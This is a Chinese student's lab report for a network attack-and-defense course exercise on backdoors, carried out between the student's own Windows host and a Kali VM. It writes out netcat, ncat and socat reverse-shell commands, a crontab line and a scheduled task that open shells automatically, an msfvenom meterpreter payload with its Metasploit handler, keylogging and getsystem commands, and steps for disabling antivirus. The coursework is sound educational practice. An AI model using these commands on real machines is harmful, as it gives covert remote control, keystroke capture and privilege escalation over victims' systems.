2018-2019-2 《网络对抗技术》Exp2 后门原理与应用 20165210
2018-2019-2 《网络对抗技术》Exp2 后门原理与应用 20165210
实验内容:
- 使用netcat获取主机操作Shell,cron启动。
- 使用Socat获取主机操作Shell,任务计划启动
- 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
- 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
- 可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
基础问题回答:
1.例举你能想到的一个后门进入到你系统中的可能方式?
- 你下载文件和软件时,可能就把后门带来进来
- 一些可移动设备,比如U盘硬盘什么的,我记得我曾在网上看过就是U盘进入后再次启动电脑会留有后门,这个后门就会自动下载垃圾软件不会被察觉
- 访问一些病毒网站,虽然退出了网页,但是有可能还留有后门
2.例举你知道的后门如何启动起来(win及linux)的方式?
- linux中可以通过cron来定时启动
- win中可能会通过病毒来启动后门
- 添加启动项,修改默认的Shell程序,添加用户的初始化程序,添加应用程序初始化动态链接库,添加到启动组
- 安装自己的服务和驱动程序,修改原有的服务和驱动的配置,替换原有的服务和驱动的程序文件,感染原有的服务和驱动的程序文件
3.Meterpreter有哪些给你映像深刻的功能?
- 简直太nb了,很有趣,留下后门,可以录音,可以录像,这简直就是黑客呀,真的太强了,但同时觉得自己的电脑不是很安全,会被人监听。
4.如何发现自己有系统有没有被安装后门?
杀毒软件防火墙,会自动杀掉,就像实验中的20165210.exe文件,我一开始没关那个防火墙,一放到主机就被杀掉了。
实验过程:
准备工作:
打开win10主机,kali虚拟机,分别输入ipconfig和ifconfig得到两个机子的IP地址(192.168.199.208、192.168.16.132)
关闭杀毒软件和防火墙(很重要!!!!)
然后两个机子都要有netcat和socat文件
双方互相获取对方的Shell
首先是Windows:先进入cmd,在netcat文件下输入命令
ncat.exe -l -p 5210
开启监听,5210为监听端口号
另一端在命令行输入
nc 192.168.199.208 5210 -e /bin/sh
反弹连接,此时Windows获得了linux Shell如图
接下来是Linux:操作类似,先在虚拟机命令行上输入
nc -l -p 5210
Windows反弹连接,在命令行输入指令
ncat.exe -e cmd.exe 192.168.16.132 5210
这样Linux就获得了Windows的控制权如图
使用netcat传输数据
在Windows的命令行输入命令
ncat.exe -l 5210
对5210端口进行监听,在Linux命令行里输入
ncat 192.168.199.208 5210
连接到5210端口,并传输一些数据,然后就可以在Windows中看到传输的数据了如图
cron启动
在Windows下,命令行输入ncat.exe -i -p 5210,监听5210端口
在Linux下,输入
crontab -e
打开crontab,然后选择第三个,i编辑,在最后一行加上
06 * * * /bin/netcat 192.168.199.208 5210 -e /bin/sh
我当时的时间是04所以我选了06,就是在每小时的06分运行此命令如图
到06分后就可以看到已经获取了Linux的Shell如图
使用Socat获取主机操作Shell,任务计划启动
打开Windows的计算机管理任务,点击任务计划程序,创建任务如图
新建触发器,选择工作站锁定所有用户如图
在操作中,将选择程序脚本路径,参数一栏填
tcp-listen:5210 exec:cmd.exe,pty,stderr
完成创建右键点击运行,然后在kali里输入
socat - tcp:192.168.199.208:5210
获取Windows的Shell如图
使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
首先先生成一个后门:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.16.132 LPORT=5325 -f exe > 20165210.exe
将生成的文件放到Windows(我直接拖到了Windows桌面)然后kali这面直接输入命令msfconsole启动。如图
进入了msf控制台,输入
use exploit/multi/handler
启用监听,然后输入
set payload windows/meterpreter/reverse_tcp
设置payload,然后输入
set LHOST 192.168.16.132
最后输入
set LPORT 5210
设置端口号,然后exploit开始监听
在Windows中运行后门
使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
获取目标主机的音频和获取目标主机的摄像头如图
还有一些比如通过命令
keyscan_start
记录下击键的过程
keyscan_dump
读取击键的记录等
还可以使用
getuid
查看当前用户,使用
getsystem
进行提权
实验中的问题、体会和收获
- 一开始没有关闭防火墙导致20165210.exe后门文件一出来就被杀掉了
- 在做使用socat获取主机操作Shell任务计划启动时,创建的任务运行不了,一直是在准备就绪中,一开始以为可能在kali里输入命令可能它就跳转运行了,但是并没有成功,然后去向大佬请教,然后就是重启了计算机发现就可以运行了
- 就是在启动msfconsole之后,在输入set LHOST时输入了Windows的ip地址,后来改正了才知道LHOST就是local host攻击方的IP地址,后来一想其实很好理解,反弹Shell嘛,就是建立反弹连接的,当然是反弹到攻击机了。
- 这个第二次实验真的十分有趣,尤其是做到第四个内容,然后我又在网上找到了一篇博客,里面有Meterpreter指令详解有时间可以看一下学艺多一些的指令感觉很好玩
- 有个问题就是meterpreter在获取shell之后,如何持续控制目标主机,就是在目标主机重启或下次开机后能自动连接到攻击机上。